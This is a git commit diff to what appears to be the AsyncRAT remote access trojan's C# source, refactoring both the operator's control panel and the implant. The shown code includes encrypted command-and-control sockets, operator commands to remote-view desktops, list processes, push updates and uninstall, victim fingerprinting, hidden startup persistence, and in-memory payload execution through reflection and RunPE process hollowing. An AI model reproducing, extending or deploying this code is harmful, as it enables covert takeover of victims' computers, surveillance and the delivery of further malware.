UPDATE
This commit is contained in:
parent
4719d0042b
commit
4c441f2c07
@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||||
foreach (Clients CL in Settings.Online.ToList())
|
foreach (Clients CL in Settings.Online.ToList())
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
});
|
});
|
||||||
@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp
|
|||||||
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
Clients CL = (Clients)C.Tag;
|
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
Clients CL = (Clients)C.Tag;
|
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Update").AsString = "false";
|
msgpack.ForcePathObject("Update").AsString = "false";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
CL.LV.ForeColor = Color.Red;
|
||||||
Clients CL = (Clients)C.Tag;
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
CL.LV.ForeColor = Color.Red;
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
Clients CL = (Clients)C.Tag;
|
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Update").AsString = "true";
|
msgpack.ForcePathObject("Update").AsString = "true";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
CL.LV.ForeColor = Color.Red;
|
||||||
Clients CL = (Clients)C.Tag;
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
CL.LV.ForeColor = Color.Red;
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
CL.LV.ForeColor = Color.Red;
|
||||||
Clients CL = (Clients)C.Tag;
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
CL.LV.ForeColor = Color.Red;
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SF.Close();
|
SF.Close();
|
||||||
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
|
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Option").AsString = "true";
|
msgpack.ForcePathObject("Option").AsString = "true";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
{
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
Clients CL = (Clients)C.Tag;
|
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
|
|
||||||
this.BeginInvoke((MethodInvoker)(() =>
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
||||||
|
if (RD == null)
|
||||||
{
|
{
|
||||||
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
RD = new RemoteDesktop
|
||||||
if (RD == null)
|
|
||||||
{
|
{
|
||||||
RD = new RemoteDesktop
|
Name = "RemoteDesktop:" + CL.ID,
|
||||||
{
|
F = this,
|
||||||
Name = "RemoteDesktop:" + CL.ID,
|
Text = "RemoteDesktop:" + CL.ID,
|
||||||
F = this,
|
C = CL,
|
||||||
Text = "RemoteDesktop:" + CL.ID,
|
Active = true
|
||||||
C = CL,
|
};
|
||||||
Active = true
|
RD.Show();
|
||||||
};
|
}
|
||||||
RD.Show();
|
}));
|
||||||
}
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Option").AsString = "List";
|
msgpack.ForcePathObject("Option").AsString = "List";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
Clients CL = (Clients)C.Tag;
|
||||||
|
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
if (PM == null)
|
||||||
this.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
PM = new ProcessManager
|
||||||
if (PM == null)
|
|
||||||
{
|
{
|
||||||
PM = new ProcessManager
|
Name = "processManager:" + CL.ID,
|
||||||
{
|
Text = "processManager:" + CL.ID,
|
||||||
Name = "processManager:" + CL.ID,
|
F = this,
|
||||||
Text = "processManager:" + CL.ID,
|
C = CL
|
||||||
F = this,
|
};
|
||||||
C = CL
|
PM.Show();
|
||||||
};
|
}
|
||||||
PM.Show();
|
}));
|
||||||
}
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.Client.Connected) this.Close();
|
if (!C.ClientSocket.Connected) this.Close();
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.Client.Connected) this.Close();
|
if (!C.ClientSocket.Connected) this.Close();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void RemoteDesktop_Activated(object sender, EventArgs e)
|
private void RemoteDesktop_Activated(object sender, EventArgs e)
|
||||||
|
@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
Client.LV = new ListViewItem();
|
Client.LV = new ListViewItem();
|
||||||
Client.LV.Tag = Client;
|
Client.LV.Tag = Client;
|
||||||
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
|
Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
||||||
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
||||||
Client.LV.SubItems.Add(ipinf[1]);
|
Client.LV.SubItems.Add(ipinf[1]);
|
||||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
||||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||||
|
Binary file not shown.
@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
class Clients
|
class Clients
|
||||||
{
|
{
|
||||||
public Socket Client { get; set; }
|
public Socket ClientSocket { get; set; }
|
||||||
private byte[] Buffer { get; set; }
|
private byte[] ClientBuffer { get; set; }
|
||||||
private long Buffersize { get; set; }
|
private long ClientBuffersize { get; set; }
|
||||||
private bool BufferRecevied { get; set; }
|
private bool ClientBufferRecevied { get; set; }
|
||||||
private MemoryStream MS { get; set; }
|
private MemoryStream ClientMS { get; set; }
|
||||||
public ListViewItem LV { get; set; }
|
public ListViewItem LV { get; set; }
|
||||||
private object SendSync { get; set; }
|
private object SendSync { get; set; }
|
||||||
|
private object EndSendSync { get; set; }
|
||||||
public string ID { get; set; }
|
public string ID { get; set; }
|
||||||
|
|
||||||
public Clients(Socket CLIENT)
|
public Clients(Socket socket)
|
||||||
{
|
{
|
||||||
if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0]))
|
if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
||||||
|
|
||||||
|
|
||||||
Client = CLIENT;
|
ClientSocket = socket;
|
||||||
Buffer = new byte[1];
|
ClientBuffer = new byte[1];
|
||||||
Buffersize = 0;
|
ClientBuffersize = 0;
|
||||||
BufferRecevied = false;
|
ClientBufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
LV = null;
|
LV = null;
|
||||||
SendSync = new object();
|
SendSync = new object();
|
||||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
EndSendSync = new object();
|
||||||
|
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
public async void ReadClientData(IAsyncResult ar)
|
public async void ReadClientData(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!Client.Connected)
|
if (!ClientSocket.Connected)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
int Recevied = Client.EndReceive(ar);
|
int Recevied = ClientSocket.EndReceive(ar);
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
if (BufferRecevied == false)
|
if (ClientBufferRecevied == false)
|
||||||
if (Buffer[0] == 0)
|
if (ClientBuffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
|
||||||
MS.Dispose();
|
ClientMS.Dispose();
|
||||||
MS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (ClientBuffersize > 0)
|
||||||
{
|
{
|
||||||
Buffer = new byte[Buffersize];
|
ClientBuffer = new byte[ClientBuffersize];
|
||||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||||
BufferRecevied = true;
|
ClientBufferRecevied = true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
await MS.WriteAsync(Buffer, 0, Buffer.Length);
|
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
||||||
if (MS.Length == Buffersize)
|
Settings.Received += Recevied;
|
||||||
|
if (ClientMS.Length == ClientBuffersize)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
|
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
|
||||||
}
|
}
|
||||||
catch (CryptographicException)
|
catch (CryptographicException)
|
||||||
{
|
{
|
||||||
HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
|
HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
|
||||||
Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]);
|
Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Settings.Received += MS.ToArray().Length;
|
ClientBuffer = new byte[1];
|
||||||
Buffer = new byte[1];
|
ClientBuffersize = 0;
|
||||||
Buffersize = 0;
|
ClientMS.Dispose();
|
||||||
MS.Dispose();
|
ClientMS = new MemoryStream();
|
||||||
MS = new MemoryStream();
|
ClientBufferRecevied = false;
|
||||||
BufferRecevied = false;
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
|
||||||
}
|
}
|
||||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
public void Disconnected()
|
public void Disconnected()
|
||||||
{
|
{
|
||||||
if (LV != null)
|
|
||||||
{
|
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
|
||||||
LV.Remove();
|
|
||||||
}));
|
|
||||||
lock (Settings.Online)
|
|
||||||
Settings.Online.Remove(this);
|
|
||||||
}
|
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
MS?.Dispose();
|
if (LV != null)
|
||||||
Client?.Dispose();
|
{
|
||||||
|
if (Program.form1.listView1.InvokeRequired)
|
||||||
|
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
LV.Remove();
|
||||||
|
}));
|
||||||
|
lock (Settings.Online)
|
||||||
|
Settings.Online.Remove(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
ClientMS?.Dispose();
|
||||||
|
ClientSocket?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
lock (SendSync)
|
lock (SendSync)
|
||||||
{
|
{
|
||||||
if (!Client.Connected)
|
if (ClientSocket == null)
|
||||||
|
{
|
||||||
|
Disconnected();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!ClientSocket.Connected)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
using (MemoryStream MEM = new MemoryStream())
|
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
|
||||||
{
|
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
||||||
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
|
|
||||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||||
MEM.Write(buffersize, 0, buffersize.Length);
|
ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
||||||
MEM.Write(buffer, 0, buffer.Length);
|
ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
|
||||||
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
|
|
||||||
Settings.Sent += (long)MEM.Length;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
public void EndSend(IAsyncResult ar)
|
public void EndSend(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
try
|
lock (EndSendSync)
|
||||||
{
|
{
|
||||||
Client.EndSend(ar);
|
try
|
||||||
}
|
{
|
||||||
catch
|
int sent = 0;
|
||||||
{
|
sent = ClientSocket.EndSend(ar);
|
||||||
Disconnected();
|
Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
|
||||||
return;
|
Settings.Sent += sent;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Disconnected();
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
SendTimeout = -1,
|
SendTimeout = -1,
|
||||||
};
|
};
|
||||||
Server.Bind(IpEndPoint);
|
Server.Bind(IpEndPoint);
|
||||||
Server.Listen(20);
|
Server.Listen(30);
|
||||||
HandleLogs.Addmsg($"Listenning {port}", Color.Green);
|
HandleLogs.Addmsg($"Listenning {port}", Color.Green);
|
||||||
Server.BeginAccept(EndAccept, null);
|
Server.BeginAccept(EndAccept, null);
|
||||||
}
|
}
|
||||||
|
@ -70,7 +70,8 @@
|
|||||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||||
<Compile Include="Handle Packet\ProcessManager.cs" />
|
<Compile Include="Handle Packet\ProcessManager.cs" />
|
||||||
<Compile Include="Handle Packet\RemoteDesktop.cs" />
|
<Compile Include="Handle Packet\RemoteDesktop.cs" />
|
||||||
<Compile Include="Handle Packet\SendFile.cs" />
|
<Compile Include="Handle Packet\SendToMemory.cs" />
|
||||||
|
<Compile Include="Helper\Methods.cs" />
|
||||||
<Compile Include="Install\HiddenStartup.cs" />
|
<Compile Include="Install\HiddenStartup.cs" />
|
||||||
<Compile Include="Install\NormalStartup.cs" />
|
<Compile Include="Install\NormalStartup.cs" />
|
||||||
<Compile Include="MessagePack\BytesTools.cs" />
|
<Compile Include="MessagePack\BytesTools.cs" />
|
||||||
|
@ -54,11 +54,11 @@ namespace Client.Handle_Packet
|
|||||||
Thread thread = null;
|
Thread thread = null;
|
||||||
if (Injection.Length == 0)
|
if (Injection.Length == 0)
|
||||||
{
|
{
|
||||||
thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory));
|
thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE));
|
thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
|
||||||
}
|
}
|
||||||
thread.Start(parameters);
|
thread.Start(parameters);
|
||||||
}
|
}
|
||||||
|
@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
|
|||||||
|
|
||||||
namespace Client.Handle_Packet
|
namespace Client.Handle_Packet
|
||||||
{
|
{
|
||||||
class SendFile
|
class SendToMemory
|
||||||
{
|
{
|
||||||
public static void SendToMemory(object obj)
|
public static void Reflection(object obj)
|
||||||
{
|
{
|
||||||
object[] Obj = (object[])obj;
|
object[] Obj = (object[])obj;
|
||||||
byte[] Buffer = (byte[])Obj[0];
|
byte[] Buffer = (byte[])Obj[0];
|
30
AsyncRAT-C#/Client/Helper/Methods.cs
Normal file
30
AsyncRAT-C#/Client/Helper/Methods.cs
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
using System;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Client.Helper
|
||||||
|
{
|
||||||
|
static class Methods
|
||||||
|
{
|
||||||
|
public static string HWID()
|
||||||
|
{
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
sb.Append(Environment.UserDomainName);
|
||||||
|
sb.Append(Environment.UserName);
|
||||||
|
sb.Append(Environment.MachineName);
|
||||||
|
sb.Append(Environment.Version);
|
||||||
|
return GetHash(sb.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetHash(string strToHash)
|
||||||
|
{
|
||||||
|
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||||
|
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||||
|
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||||
|
StringBuilder strResult = new StringBuilder();
|
||||||
|
foreach (byte b in bytesToHash)
|
||||||
|
strResult.Append(b.ToString("x2"));
|
||||||
|
return strResult.ToString().Substring(0, 12).ToUpper();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -8,6 +8,7 @@ using System.Text;
|
|||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using Client.Handle_Packet;
|
using Client.Handle_Packet;
|
||||||
|
using Client.Helper;
|
||||||
|
|
||||||
namespace Client.Sockets
|
namespace Client.Sockets
|
||||||
{
|
{
|
||||||
@ -22,6 +23,7 @@ namespace Client.Sockets
|
|||||||
private static Timer Tick { get; set; }
|
private static Timer Tick { get; set; }
|
||||||
private static MemoryStream MS { get; set; }
|
private static MemoryStream MS { get; set; }
|
||||||
private static object SendSync { get; set; }
|
private static object SendSync { get; set; }
|
||||||
|
private static object EndSendSync { get; set; }
|
||||||
public static bool Connected { get; set; }
|
public static bool Connected { get; set; }
|
||||||
|
|
||||||
public static void InitializeClient()
|
public static void InitializeClient()
|
||||||
@ -44,6 +46,7 @@ namespace Client.Sockets
|
|||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
SendSync = new object();
|
SendSync = new object();
|
||||||
|
EndSendSync = new object();
|
||||||
BeginSend(SendInfo());
|
BeginSend(SendInfo());
|
||||||
TimerCallback T = CheckServer;
|
TimerCallback T = CheckServer;
|
||||||
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
||||||
@ -52,7 +55,6 @@ namespace Client.Sockets
|
|||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Debug.WriteLine("Disconnected!");
|
Debug.WriteLine("Disconnected!");
|
||||||
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
|
||||||
Connected = false;
|
Connected = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -76,7 +78,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||||
